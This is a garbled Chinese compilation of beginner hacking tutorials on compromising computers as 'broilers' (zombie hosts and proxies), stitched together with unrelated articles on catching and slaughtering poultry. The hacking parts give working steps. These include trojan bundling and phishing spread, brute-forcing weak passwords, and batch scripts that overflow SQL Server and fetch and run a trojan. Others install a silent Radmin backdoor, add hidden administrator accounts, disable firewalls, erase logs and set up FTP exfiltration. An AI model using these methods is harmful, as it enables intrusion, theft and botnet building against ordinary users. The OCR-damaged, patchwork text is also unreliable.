初级入门者如何获取肉鸡(跳板)
14.肉鸡获取内幕揭秘之利用特洛伊木马及社会工程学
对于一个技术高超的攻击者来说,肉鸡获取的手法有多种多样。
但是,与所有人一样,攻击者也喜欢那些即简单又容易获取肉鸡的方法。
就目前来说,利用特洛伊木马和社会工程学就是攻击者们最喜欢用来获取肉鸡的主要方式。
1、利用捆绑木马和网页木马来获取肉鸡木马,就如同一个身怀多种绝技的“武林高手”,在网络的江湖之中,将所有坏事做尽,却仍然没有人可以阻止它继续前进的脚步。
因此,木马是许多网络攻击者们最喜欢使用的“干将”。
这不,对于肉鸡猎手,木马就如同他们带着的猎犬,能够嗅到最敏感的东西,能通过木马得到他们想要的“肉鸡”。
当然,就木马本身而言,其技术有好有差。
而且,木马技术并不是一成不变的,它会长江后浪推前浪,不断地向更高级、高隐蔽、更高性能的方向发展。
同时,木马的数量也在不断地增加。
就拿能够获取肉鸡的木马来说,现在,在GOOGLE文本框中输入“肉鸡获取软件”的关键词进行探索,一不小心就会得到N多获取肉鸡木马的软件说明或下载链接。
雪源梅香就曾经试过两个叫肉鸡批量抓取和挖掘鸡的软件,这些软件名字取得很形像,功能也相当不错,能够让一个不了解多少网络知识的人轻易地获取大量的肉鸡,更不要说网上还有许多获取肉鸡的“指导手册”和“指导视频”呢。
从这可以想像木马拥有多么可怕的“功夫”。
那么,这些木马主要又是通过什么方式去获取肉鸡的呢?主要方式有两种:(1)、一种是利用各种捆绑方式木马捆绑一直是攻击者最常用的散发木马的主要方式之一。
可以用来捆绑木马的载体包括垃圾邮件的附件、软件安装程序、自解压压缩文件、PDF文件、MP3、MP4,以及图片等等。
这种木马攻击方式,就是先将木马通过捆绑的方式加入到上述这些载体中,然后放到互联网上,成功引诱网络用户运行这些载体中的木马程序后,这台主机就有可能会变成攻击者的肉鸡了。
通过捆绑木马方式获取肉鸡,要成功的关键就是想法让网络用户运行被捆绑载体中的木马。
攻击者最喜欢使用的手段包括将木马与黄色图片或视频捆绑,与免费软件捆绑,与MP3及PDF 文件捆绑,然后将捆绑了木马各种文件放到一些正常网站或自己建立的傀儡网站上,提供给用户下载或试听等。
抓肉鸡还得老将出马
了 。在 下方 的检 测框 中会 显 示 “ 正在 检测 x 个 链 接” , x 多等 一会 儿 ,让 所 有链 接检 测完毕 ,然后 就可 以看 到检 测框 中列 表 显示 存 在S 注入 漏洞 的链接 地址 了。如 果 QL
在 当前 页 中没有 检 测到 多少 漏 洞链 接 ,那 么可 在上 方 的 窗 口页 面 中 ,点 击搜 索结 果 下一 页链 接 ,继续 检测 漏 洞 链 接。最 多一分 钟 ,你 就可 以看 到列 表 中显 示数十 个 漏
据外体道削 漏。议爨嚣蠹己薹器器慧 篙 。 NtTd 1 国媒报・ 洞建大尽升 嚣 .免为喜的嘉譬 e&ns 家快级 的放 以成黑们 物 自 播 客 猎” e 5
维普资讯
查 看界面的 “ 测位置 ” 检 中 ,输 入 要 查 看 文 件 的 目
维普资讯
● 菜鸟如何利 用 “ 啊D注入工具”轻松抓肉鸡的方法
抓 肉鸡还得老 将 出马
一张 文黎 / 图
许 多朋友老 是问怎么 才能入侵一个 网站 ,也有的朋友 问有没有上 传木马的 空间 ,或者 问怎么拿到一 只肉鸡
玩 。其实抓肉鸡是一个 很简单的事情 ,这里我们就再现经典的S 注入 漏洞 , 每—个读者都 能拿 到网站 肉鸡 。 QL 包
一
一
搜漏的技巧—— 寻找有漏洞的主机
链 接地 址 ( 图2) 对S 注入 略 有所 知 的下 全部 的 关键 词 ” 中 包
的 链 接 地 址 , 这 里 为 “ t /wWW. du. om/ htP:/ bai c
洞链 接地 址了 ( 图4) 如 。 由 于S 注入 攻 击 曾经很 泛 滥 ,因此 许 多网站 都打 QL 上 了S 注入 漏 洞的 补 丁 ,现 在 要找 存在 S 注入 漏 洞 QL QL 的站 点 工具 的 页面 链接 分析 检测 功 能相 结合 ,就 可 以很轻
抓鸡教程_
抓鸡教程
抓鸡是一项技巧繁琐的农活,需要仔细操作和耐心。
以下是一个简单的抓鸡教程,希望对您有所帮助。
首先,准备好所需工具和物品,包括一只鸡、手套、面罩、绳子和适量的饲料。
接下来,选择一个适合的时间和地点进行抓鸡。
最好在鸡群进食时进行抓捕,这样它们会相对安静。
在开始抓鸡之前,穿上手套和面罩,以免受到鸡咬伤或抓伤。
这是非常重要的安全操作。
以缓慢而稳定的动作靠近鸡群。
注意不要用大步走或突然的动作惊扰鸡群。
选中目标鸡,用一只手迅速抓住鸡的双腿。
用另一只手控制住鸡的翅膀,使其无法挣扎和飞走。
注意要抓住鸡腿的部位而不是趾部,以免对鸡造成伤害。
同时,用力要适中,以免过度压迫鸡的腿骨。
将鸡的双腿轻轻地绑在一起,这样可以限制它的移动和飞行能力。
如果需要长时间控制鸡的动作,可以将鸡的腿绑在一根杆子上,以保持稳定。
在抓鸡过程中保持冷静和耐心是非常重要的。
遇到困难或鸡群的抵抗时,不要过于强迫,以免伤害到鸡或自己。
抓鸡完成后,将鸡放入安全的容器或笼子中。
记得给鸡提供充足的食物和水,并确保鸡的生活环境清洁卫生。
总结起来,抓鸡需要细心、耐心和技巧。
选择合适的时间和地点,穿戴好相应的防护装备。
掌握抓鸡的正确方法,以确保安全和顺利完成任务。
代理、肉鸡、跳板的概念
样先连接到日本、到中东、再绕回美国本土抢劫服务器五角大楼,听上去很神秘吧,其
实用的原理就是这个。
�
用8080、1080、80等端口的代理,我敢保证这个代理不止你一个人用,如果
你想成为一个黑客或是老手的话,拥有一个自己的代理是必须的。4、保密性。
有的代理服务器提供者很可恶,他们利用代理得知你的密码或一些敏感信息,因
为普通代理数据没有经过加密(1080端口除外),用一个嗅探器就可以知道你
器来运行达到你隐藏IP的目的,但我想如果我看见有人这样做的话,我会马上打
电话到精神病院~~~:)而且用sc32来配合skserverGUI的话,那么你的电脑
几乎就没有应用程序不能用代理的。你用过之后一定会说:我喜欢!我选择!sock5的安装也很简单,在此软件的说明书里有,因为我主要是让大家了解代理------&g*;跳板------&g*;肉鸡的简单原理;再者因为制作这样的跳板或肉鸡很有攻击性(会构成非法使用
代理、肉鸡、跳板的概念
看到有的网友还用那种8080、80端口的代理,我有话说,也可以说为大家做一点最最基础的黑客教程,大家看完自己去做吧,具体怎么做,我就不说了,可以说我把我所知道的肉鸡和跳板的概念知识全部告诉大家了,我也在几个地方发表过,这是我的原创,我要告诉大家的是真正在黑客抢劫服务器是用的跳板是什么,以及黑客们很少说的跳板知识介绍~~~~~~~~~~我有个习惯,
人更勤于此道)再者对抢劫服务器者而言把自己的身家性命放在一个隐藏自己IP的软件
上是很不明智的,要知道抢劫服务器时会尝试很多的连接,在你一不小心的时候你就把
自己卖了(我曾经在一次抢劫服务器完毕后没有用sc32设置好跳板的IE,而是随手在
新手抓鸡方法大全
新手抓鸡方法大全2009-09-09 01:02抓鸡很多人都会,但不一定全会,今天,我对所有方法做总结,也会介绍!首先是端口抓鸡,一般比较常用!有3389、1433、445、139、135等3389端口抓鸡工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码:08US9A95I+lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23);SC.exe port.bat query.exe quser.exe(隐藏3389服务及不让管理发现自己程序);CleanIISLog.exe(小榕的擦PP程序);3389.exe(开3389端口服务的);psu.exe(使用被禁止的Guest帐户要用到的);mstsc.exe(远程桌面连接程序)。
一.扫到SA弱口令(自动攻击器)二.用SQLTOOLS连上去建一个用户net start telnet开telnet服务net user mint mint /add添加用户mint密码为mint net localgroup administrators mint /add将帐号mint升级为管理员三.上传后门程序RAD.EXE(RADMIN服务端自解压程序)制作RAD.EXE过程:1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe;2、在本地设置服务端(一定要生成);设置密码-->>设置连接端口(默认4489)-->>生成3、导出注册表HKEY_LOCAL_MACHINE\SYSTEM\Radmin的键值为1.reg;4、编写一个批处理,并命名为u.bat;@echo offnet stop r_server5、写第二个批处理,r.bat,内容为:@echo [url=mailto:off@Explorer.exe]off@Explorer.exe[/url] / uninstall /silence@Explorer.exe /install /silence@regedit /s 1.reg@echo[url=mailto:off@Explorer.exe]off@Explorer.exe[/url] /uninstall / [url=mailto:silence@Explorer.exe]silence@Explorer.exe[/url] /install /silence@regedit /s 1.reg@net start r_server@delrad.exe@del 1.reg@del r.bat@del u.bat6、将AdmDLL.dll raddrv.dll Explorer.exe(r_sever.exe改名) u.bat r.bat 压缩成Rad.RAR压缩包;7、将Rad.rar制作成自解压文件;选择Default.sfx的自释放模块-->>高级自释放选项-->>常规释放路径:%systemroot%\system32安装程序:释放后运行:r.bat 释放前运行u.bat-->>摸式缄默模式:全部隐藏覆盖方式:覆盖所有文件-->>确定-->>确定生成完成。
简单Windows2000肉鸡的获得
N. r远程 登陆 的命令行 语法 :n t e U¥ <\\I 8 P
A d es i c d r sk p 『 o s r ” < u e :u e l  ̄e > ¨ swo d ] /扫描 P 3 F P NTl丰机 ,或 探 I >【 0P / T / 者 直接 按 C r tt+ 卜 >输 入 一 段 地 址 , 描 主机 类 型 选 扫 择 NT/ 8 9 一>确定 ,如 图 1
般 肉鸡都具有速度 快 ,攻击后不 易被 发现等特点 ,所 成一
圊
~ 黪 . 惩 if 、
直 受 刘 大 多数 黑 客 喜 爱 : 面动 刀狂 舞 就讲 讲w d s 下 m0 w
鸡 获搏 过 程
“ ., . 驴
微 软 实 在 是 太 可 爱 了 , 洞 惊 报 不 断 . 这 里 是 在 漏 我 总结 , 只是 写点 攻 击 2 k方法 。 竟 我 们 不 是搞 破 坏 的 , 毕 只
维普资讯
懿疆粒 j 盯用 疆霭 i[ I1 ll
。
…
…
.. 一
冈
务手段使搏 白宫的网站无法访问迭 个 小时。 客们使 用的 就是 肉鸡。 中国黑誊把 自己开 了后 门的主机 叫做 肉鸡或跳板 ,
一
州 狄 仔
≮ 射 掣 鼍 . 鬻
”PC 主 机 ” 日上 点 右 键 弹 出 菜单 。首先 我 们 需 要 从 主 I ¥ 条
用 来 连 接 MS S L -O 终 端 务 客 户端 连 接 终端 服 务 客 户端 ,可 以 访 问运 臣 行 ” 端 服 务 ’ 服 务器 终 的 S a o c n( 者 其 他 网络 工 具 箱 ) 扫 描 网 络 指 定 h d wS a 或 , 主机
各端口抓肉鸡的几种方法
各端口抓肉鸡的几种方法.txt曾经拥有的不要忘记;不能得到的更要珍惜;属于自己的不要放弃;已经失去的留作回忆。
1、扫3389端口抓肉鸡(适合新手)(抓不了国外肉鸡)现在国内网络上流传着一种克隆版的XP,安装后会默认开启一个账号为new,密码为空的账户,而且基本上都是开着3389的,我们就可以利用这一点来抓肉鸡。
首先用端口扫描工具(如S扫)扫一段IP的3389端口,扫完后就直接用远程桌面连接开放3389的机器(也可以把结果保存为文本文件,用批量生成3389连接的工具来连接),然后输入账号new登入,如果别人的电脑前没人的话你就可以去你的空间下载你传好的木马安装拉~~这种方法只针XP系统,如果遇到2000或者2003系统就不要试了呵呵。
缺点也很明显,如果别人不是用new账号登入XP的,你再登入上去就会把他挤出去(XP只支持单用户登入,用户登入需要用工具开),或者电脑前有人你就不可能去打开IE下载木马了。
2、扫135端口抓肉鸡首先先用端口扫描器扫一段IP的135端口,然后把结果保存,再用NTSCAN过滤有弱口令的机器,最后用recton开telnet传马。
因为现在135和445端口都被防火墙屏蔽了,只能扫本地的135肉鸡,要抓外地的只能用外地的135肉鸡来扫。
(详细动画可以去黑客网站搜索135)3、扫445端口抓肉鸡和扫135抓肉鸡差不多,首先先用端口扫描器扫一段IP的445端口,然后把结果保存,再用NTSCAN过滤有弱口令的机器,最后用啊D工具包开共享传马。
因为现在135和445端口都被防火墙屏蔽了,只能扫本地的445肉鸡,要抓外地的只能用外地的445肉鸡来扫。
(详细动画可以去黑客网站搜索445)4、1433端口批量溢出抓肉鸡这个方法可以实现全自动抓鸡,不过现在太多人搞,成功率已经不高了。
要用到的工具:S扫 sqlhello.exe nc.exe 批处理文件首先先写个批处理,打开记事本,把以下代码复制修改后,储存为扫描+溢出.bat文件@echo offfor /f "eol=; tokens=1,2 delims= " %%i in (tt.txt) do s.exe tcp %%i %%j 1433 1000 /save@echo offfor /f "eol=; tokens=1 delims= " %%i in (Result.txt) do sqlhello %%i 1433 xxx.xxx.xx.xx 556还要新建一个tt.txt,里面你要扫的IP段,格式为XXX.XXX.XXX.XXX XXX.XXX.XXX.XXX,中间是空格1433是要扫描的端口,1000是扫描线程数,do sqlhello %%i 1433 xxx.xxx.xx.xx 556 这个里的XXX添你的IP,556是后面NC监听的端口然后再写个批处理@echo offNc -l -vv -p 556>daima.txtecho username>>daima.txtecho password>>daima.txtecho bin>>daima.txt(以2进制传输数据)echo get xxx.exe(你的木马的文件名,要放在根目录下)>>daima.txtecho bye>>daima.txtnet stop sharedaccess(关闭WINDOWS自带防火墙)ftp -s:daima.txtxxx.exe(也是填你木马的文件名)del daima.txt注意上面的代码回车符别删掉,要不然就没法下你的马了。
菜鸟必备抓鸡方法大全
方法同BT一样,要找诱惑性电影或软件,捆上自己的木马,然后共享自己的目录,这样人
家就会通过搜索找到你的软件或电影.这里电影要配合网页木马.可以参看RealOnePla
ye木马制作.在黑鹰可以找到.当你一打开我们的电影时就会打开我们制作过的网页木
马.这样看电影也会中我们的马.
3.利用QQ邮箱传播木马.
邮箱后,配合FOXMAIL这款软件进行群发传播带有网页木马的邮件。这里也要注意技
巧,比如在一个游戏论坛提取的邮箱,你就可以伪装本论坛发给广大游戏玩家,提供
最新游戏外挂下载.然后写上自己的网页木马.大部分都认为信息的真实性而点击.从
而中我们的木马. 这里还可以配合利用HTML格式群发我们的网页木马效果可更佳!
很大.若该QQ号主人是群主或是管理员,哈哈,我们来个更毒的,干脆在公告上写上自己
的网页木马地址,然后说本群刚建的专用网站!由于是群主,他们对他的信任度可想而
知.应该都会点的吧!还有一招,在他QQ的个人资料上或个人签名上填上自己的网页木
马,然后说刚建的个人网站.相信很多好友都会自动点击吧!
网上可以找到相关工具.这些也是比较常用的传播技术.只要你有这方面的思路,都可
以在网上找到相关资料,自己尝试制作.
8.攻破下载点,捆上木马放入下载点.
当我们入侵到一些网站时,看看是否开放21服务,也就是是否提供FTP服务.若入侵到
这类网站,恭喜你,你又可以得到大批量肉鸡.你可以捆上自己的木马然后放入下载点
等待人家上钩吧!该方法抓鸡的速度也非常快.
9.钓鱼式欺骗别人点击你的网页木马地址或木马.
这里主要点HTML格式----在里面写上以下这段代码:
<body > </body>
教你怎么使用肉鸡做跳板
今天我们来讲一讲一些简单的入侵,这篇文章是送给新手的,难的文章我也写不出来~~ 这里讲的方法都是针对winnt和2000的,平台是2000。
我只是想送给新手点肉鸡罢了。
罗嗦了这么多,目前我们开始吧~。
首先我们来对几个扫描器评点一下什么?你不知道扫描器是什么?我晕~~~扫描器就是扫描的嘛,他能检测出主机的漏洞!常见的有端口扫描器,和cgi漏洞扫描器,更有就是象流光那样的大型扫描器,什么都能扫。
我们先来讲一下扫描器的原理!本帖隐藏的内容目前假设你是A,要扫的是B ,那么,通常建立3次握手的过程是:A--------Syn------->BA<-----Syn/Ack------BA-------Ack-------->B这样就建立了连接,扫描就是建立非常多这样的,从而达到了解对方开了哪些端口,哪些服务厉害的扫描器还会进一步探测!不过,这种tcp扫描会留下大量的记录,如果B的网管不是白痴那么他就会开始注意你了!!所以我们又会用半开放式扫描(syn) ,也就是:A--------Syn------->BA<-----Syn/Ack------BA------->\ BA-connected--?<-----B网管论坛这样,由于B一直得不到确认,当然就不会记录ip啦。
不过B若是非常bt,那么他也会记录所有syn的ip,那就没办法了!!扫描的原理讲完了,目前来讲讲几个扫描的工具!!这才是重点,新手哪会关心那原理啊~~~ 我们先来讲端口扫描器一个端口就是一条路,进入系统的的路!可见他的重要!!我推荐用superscan和nscan两个都是国外的,superscan的汉化版有问题,建议去www,下载E文版,nscan在黑白有下! 这两个的界面简单,我就不罗嗦了!我非常喜欢superscan.他的扫描准且快~~对单一端口的大规模扫描也非常不错,以前大家就是用他来扫3389的!下面我来介绍流光!!xscan!!和sss!!! 我想大家对流光应该不陌生吧!如果你是新手,先从流光开始!!界面非常cool!多亏榕哥~~不过我宁可把流光作为一个攻击的工具而不是扫描的工具xscan则是安全焦点的,他能半开放式扫描!!而且在扫描上我觉得比流光好!因为我问过sharkstorm,他说流光会在对方主机上留下痕迹,所以我怀疑流光用的是tcp扫描! 所以我目前用大规模扫描时是用xscan而不是流光! 接下来是sss,目前的最新版是3.43,3.41版的注册机是由redshadow研发的,全称shadow security scanner他能扫描非常多漏洞,速度也非常快,留下的痕迹少,产生报告周详。
教你如何玩转手里的肉鸡
教你如何玩转手里的肉鸡费了九牛二虎之力得到一只肉鸡,如何长时间的拥有它是每一个入侵者头疼的事情。
本文由小母给大家讲述一个自己的思路,读者可以根据自己的情况自行制作实验。
我们都知道所谓的控制肉鸡大部分都是说能不能控制他,能不能拿到他的权。
所以网络上就流传了很多灰鸽子之类的远控软件,玩了一些远控后发现其实用那些软件的目的最终要达到的目的都是能够在对方的机器上来去自如,拥有他的超级管理权限。
只不过软件是把我们要用到的集成到了一起,就拿telnet来说,我们也可以利用系统自带的去连接,效果不比用软件带的那个功能差,而且就拿灰鸽子来说,免杀做不了多长时间估计就会被杀了。
因此没有那位高人能够一直用一个木马稳稳拿肉鸡吧(可能真的有,只是我孤陋寡闻了)。
总结自己过去抓鸡的经验,大多只要拿到对方的dos控制权就基本可以拿下他了。
其实cmd下的功能真的很强大的,只是又很多我们没有发觉出来而已。
知道了这一点,那么我们的保鸡任务就去轻松了点。
聪明的朋友估计已经猜到了下面我要说的了。
诚然,开启肉鸡的telnet服务,通过telnet 服务来一步一步达到我们入侵的目的。
确实这是一个我们接下来要用到的方法,但是,具体思路就不同了,请接着往下看。
开telnet的方法很多,但是有一点也是我们很不愿看见的,就是今天开启了这台肉鸡的服务,明天服务就被肉鸡的主人给禁用了,那样我们又得费力去再次的进行我们的入侵之路了。
所以我今天给大家介绍的就是一种让肉鸡主人替我们开我们要的服务。
当然,我只是给大家这个思路,剩下的就看你自己的发挥了。
要学会创新和逆向思维。
好了切入正题,我们知道,一般我们上网几乎肯定要做的事情是什么吧,对打开IE,我们就从这点入手,利用人们麻痹大意的缺点,跟他来个偷天换日!下面的图片是我做的exe 打开C:\Program Files\Internet Explorer\iexplore.exe但是打开前它会先执行bat呵呵……(调用固定目录的文件很简单,这里不做赘述)首先我们需要一个要替换掉的对象的图标,这个好弄,不用我多说了吧。
肉鸡跳板
ntcmd>net user
看看,连上了吧~~ 。我们来添加一个用户名
ntcmd>net user aaa 123 /add
命令成功ntcmd>net localgroup administrators aaa /add
下面我来介绍流光!!xscan!!和sss!!! 我想大家对流光应该不陌生吧!如果你是新手,先从流光开始!!界面很cool!多亏榕哥~~不过我宁可把流光作为一个攻击的工具而不是扫描的工具xscan则是安全焦点的,他可以半开放式扫描!!
而且在扫描上我觉得比流光好!因为我问过sharkstorm,他说流光会在对方主机上留下痕迹,所以我怀疑流光用的是tcp扫描! 所以我现在用大规模扫描时是用xscan而不是流光! 接下来是sss,现在的最新版是3.43,3.41版的注册机是由redshadow开发的,全称shadow security scanner他能扫描很多漏洞,速度也很快,留下的痕迹少,产生报告详细。有时候流光或是国内一些扫描器会误报,这时我常用他来检测。所以,在入侵单一机器时,我用的就是它!!!!
扫描的原理讲完了,现在来讲讲几个扫描的工具!!这才是重点,新手哪会关心那原理啊~~~ 我们先来讲端口扫描器一个端口就是一条路,进入系统的的路!可见他的重要!!
我推荐用superscan和nscan两个都是国外的,superscan的汉化版有问题,建议去www,下载E文版,nscan在黑白有下! 这两个的界面简单,我就不罗嗦了!我很喜欢superscan.他的扫描准且快~~对单一端口的大规模扫描也很不错,以前大家就是用它来扫3389的!
常见的有端口扫描器,和cgi漏洞扫描器,还有就是象流光那样的大型扫描器,什么都可以扫。我们先来讲一下扫描器的原理!
灰鸽子使用方法
2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
第三步:获取帐号和密码,登录主机
攻击者要想入侵一台主机,首先要有该主机的一个帐号和密码,否则连登录都无法进 行。这样常迫使他们先设法盗窃帐户文件,进机。当然,利用某些工具或系统漏洞登录主机也是攻击者常用的 一种技法。
由此可见,没有扫描,自然也就没有攻击,从安全的角度的来说,个人主机最安全的系统应 该算是WINDOWS98,由于WINDOWS98几乎不开启任何服务,自然也没有任何开放端口,没有端 口,对于这类系统攻击的可能性就大大降低。当然,XP在打了SP2的补丁后,等于有了一个 基于状态的个人防火墙,相对安全性也提高了很多。
在这些工具中,国产的X-scan与流光可算的上是两个“利器”,这两个工具不但具有相当快 的扫描速度和精确度(个人感觉X-scan在扫描速度上可能更快一点),同时还是发起攻击的 第一手选择,当然在攻击方面,流光更为强悍些。
除了常见个WWW(80)、FTP(21)、TELNET(23)等,查查十大高风险事件,我们就知道, 攻击者通常还对下列端口很感兴趣:
第五步:窃取网络资源和特权
攻击者找到攻击目标后,会继续下一步的攻击。如:下载敏感信息;窃取帐号密码、 个人资料等。
三、网络攻击的原理和手法
1、从扫描开始
扫描往往是攻击的前奏,通过扫描,搜集目标主机的相关信息,以期寻找目标主机的漏洞。 常见的扫描工具有X-scan、superscan、流光、X-port等。
获得优质胴体始于养鸡场规范化的捕捉方法
中图分类号 : S 1. S8 5 4
文献标识码 : c
文章编号 :O 1 0 6 ( 1)5 O3 2 1 O — 792 1 一 3 — 0 0
猪群爆发发蓝耳病 时 ,畜主与兽 医有 以下几种可选 ( i .。利用 随机截距线 性模型估计 每周 分娩母猪 @Rs 50 k )
益。而这一切 则起 始于鸡场的 肉鸡捕捉作 业。采 用正确 的捕捉方 法将显著 减少 肉鸡胴体质量 的降锻数量 。 其结
果是 高等级的 肉鸡胴体数增加 , 同时每 千克 鸡 肉的加 工成 本下降 , 从而使养鸡生产的经济效益得 以最大化。
中图分类号 : 85 ¥1. 5 文献标识码: c 文章编号 :0 1 06 ( 1)5 0 1 3 10 - 7 9 0 0 — 3 - 2 1
因而捕捉作业变成 了和时 间的赛跑 。 1抓 住双 腿 的流行 捕 捉方 法对 质量 下 降有 很 时间就越长 ,
大 的 影 响
在 肉鸡生 产行业 , 传统上会使用 到三种方法来捕 捉
2抱 住整 个身 体是最 好 的捕 捉方式
当采用抓住头 和颈部的方法来捕捉 活鸡时 , 操作工
肉鸡 , 这些方法按捕捉 时所接触 肉鸡 身体部位来进 行分 人在将 肉鸡 放入鸡 筐前应用手指将鸡抱住 。 这一方 法可 类, 至今为止最流行 的方法是抓住 肉鸡 的双 腿 。人们 往 以防止鸡煽 动翅 膀 ,因此 胴体质 量等 级下 降 的 比例较 往错误 地认为这是捕 捉 肉鸡最 决的方 法 , 实 际上采 用 低 。然 而 , 但 通过抓住头来捕 捉活鸡时会对 其颈部产生很 这种方法后 , 所产生 的鸡 肉质量等 级下降 比例最 高。在 大压 力 , 导致颈部周 围皮肤擦 伤( 1, 并可 图 )脱毛 后很容 采用 这种方法时 ,操作 工人一般是抓 住 肉鸡 的一条 腿 , 易观察 到。在 出售鸡头 和鸡 脖的市场 , 费者会 将这些 消
Fluxay使用
关于用户名的问题:有人觉得自己加入的用户名不一定存在,如果不存在岂不是白费了力气?这点你大可以放心,流光会进行验证的。而且现在注册的用户入数之多,想个没有的名字都难,不信你随便敲个试试。
关于字典的问题:流光可以使用字典方案来探测,当然你也可以生成字典,有的新手在作练习的时候不知道怎么做,你也可以用记事本生成,每行输入一个密码,存盘后将扩展名改称.DIC,流光就认出来了:)如果你连扩展名都不会改 :( 那……
在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项,或者直接按Ctrl+R。
3、出先了上面的小窗口,输入我们要破解的IP段,我们输入了来看看。图main2我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令,这样可以加快扫描的速度 :)填入IP,选择扫描NT/98主机
4、加入用户名:我们要破解的是一堆用户名,所以要加入用户名的列表文件!我们就加入流光目录下的 Name.dic :)右键单击刚才添加的主机: → 编辑 → 从列表中添加 → Name.dic → 打开
然后会有“用户已存在列表中”的提示,我们选中“不再提示” → 确定 。如下图:
探测 → 简单模式探测!
探测中…
6、探测完毕,也看到结果了,流光会问我们是否查看入侵检测报告,不想看可以选否。 报告的画面
7、如果要探测的是一个用户名,就需要添加字典、或者密码方案。方法是:右键单击解码字典或方案 → 编辑 → 添加 → 选择一个密码档即可。
以上就是流光的一次简单的探测了,事实上这些功能只能算是流光的2.5版的功能,流光2001增加的IPC/SQL/高级扫描等功能,使流光更加强大。如果你对这个已经很熟悉了,相信你看流光的HELP就会很快的学会其它的使用方法的。
入侵宝典用SlimFTP将肉鸡改为私人服务器
入侵宝典用SlimFTP将肉鸡改为私人服务器43399小游戏/在入侵一只肉鸡之后,经常需要借助FTP服务来获取肉鸡身上的重要文件,然而由于大多数人平时接触的FTP服务程序通常是在Windows环境下的图形化程序,所以很多初学者在面对命令提示符的控制权限时显得很茫然。
为了帮助众多新手解决这个问题,笔者向大家推荐FTP服务端程序SlimFTP,入侵者借助它,可以将肉鸡瞬间变为唯我独享的FTP服务器,随心所欲地下载肉鸡上的资料,不必使用复杂的参数设置。
对于爱好“和平”的普通用户来说,这种方法也可以用于控制属于自己的远程计算机。
如果你担心自己的机器沦为他人的盘中餐,那么你不妨在笔者的指引下看看入侵者是怎么利用SlimFTP玩转肉鸡的,从而了解SlimFTP的运作原理,研究进行防范的办法。
一、为何采用SlimFTP?我们之所以会选择SlimFTP,是因为它体积小、运行隐蔽、设置简单却又能提供最基本的FTP服务。
在提供对入侵者而言最重要的上传、下载功能的同时,SlimFTP还可根据入侵者的要求更改FTP服务端口、设置用户权限,并支持多用户同时登录(你可以和好友一起分享肉鸡服务)。
众多功能集于一身,SlimFTP对入侵一族来说确实是一件利器。
在本文中,笔者将以实例的形式进行讲解和操作(已经取得肉鸡的CMD命令提示符权限,这是安装SlimFTP的必备条件)。
二、SlimFTP本地设置本地设置相当于给SlimFTP描绘了一幅入侵的蓝图让它读懂,从而为进一步进驻肉鸡做准备。
配置步骤分为本地设置和服务器设置两个部分。
本地设置操作包括设置FTP参数、添加用户和权限等,对于入侵者而言,这是必须做的第一步。
而服务器设置则需要在肉鸡上进行操作,主要是完成服务的启动。
1.修改配置文件将程序压缩包解压到任意目录,直接用记事本打开其中的SlimFTPd.conf文件(这是服务器信息配制文件)。
找到第二段英文中的关键字BindPort,这就是端口设置的信息所在处,后面的数字21,就是程序默认的21端口,这个端口是入侵者用来连接的端口。
黑客技术
最经典的黑客入门教材第一节、黑客的种类和行为以我的理解,“黑客”大体上应该分为“正”、“邪”两类,正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善,而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有害于网络的事情,因为邪派黑客所从事的事情违背了《黑客守则》,所以他们真正的名字叫“骇客”(Cracker)而非“黑客”(Hacker),也就是我们平时经常听说的“黑客”(Cacker)和“红客”(Hacker)。
无论那类黑客,他们最初的学习内容都将是本部分所涉及的内容,而且掌握的基本技能也都是一样的。
即便日后他们各自走上了不同的道路,但是所做的事情也差不多,只不过出发点和目的不一样而已。
很多人曾经问我:“做黑客平时都做什么?是不是非常刺激?”也有人对黑客的理解是“天天做无聊且重复的事情”。
实际上这些又是一个错误的认识,黑客平时需要用大量的时间学习,我不知道这个过程有没有终点,只知道“多多益善”。
由于学习黑客完全出于个人爱好,所以无所谓“无聊”;重复是不可避免的,因为“熟能生巧”,只有经过不断的联系、实践,才可能自己体会出一些只可意会、不可言传的心得。
在学习之余,黑客应该将自己所掌握的知识应用到实际当中,无论是哪种黑客做出来的事情,根本目的无非是在实际中掌握自己所学习的内容。
黑客的行为主要有以下几种:一、学习技术:互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前掌握的内容,并不能维持他的“黑客身份”超过一年。
初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。
捕捉鸡的小技巧
捕捉鸡的小技巧
1.确定鸡的活动时间:一般来说,鸡在清晨和傍晚活动的时间最多,因此在这个时间段进行捕捉会更容易。
2. 确定捕捉地点:选择一个不易逃跑的场所,比如鸡舍或者是一个较小的封闭空间。
确保场地上没有其他动物或者障碍物,以免干扰捕捉。
3. 逐步接近鸡:慢慢地靠近鸡,避免突然出现或者大声喊叫,以免惊吓鸡。
4. 分散注意力:在多只鸡的场景中,可以利用一些鸡食或者其他物品来分散鸡的注意力,将其引开。
5. 迅速抓取鸡:一旦靠近,抓住鸡的双腿,尽可能快地把鸡拿起来。
注意不要用力过猛,以免造成鸡的伤害。
6. 安全放置:捕捉后,可以将鸡放入一个相对安全的地方,比如一个封闭的笼子或者鸡舍内部。
记得在捕捉前先做好相应的准备工作。
- 1 -。
手工杀鸡的快速方法(一)
手工杀鸡的快速方法手工杀鸡是一项常见的家庭活动,但是很多人可能不知道如何快速、安全地进行这项工作。
接下来,我将详细介绍几种手工杀鸡的快速方法,让你能够轻松地完成这项任务。
1. 准备工具和材料首先,你需要准备好以下工具和材料:- 小刀:用于处理鸡的肢体和内脏。
- 水槽或大盆:用于清洗鸡。
- 水壶:烧水用于杀鸡。
- 绳子:用于固定鸡。
- 碗和盘子:用于盛放鸡肉和内脏。
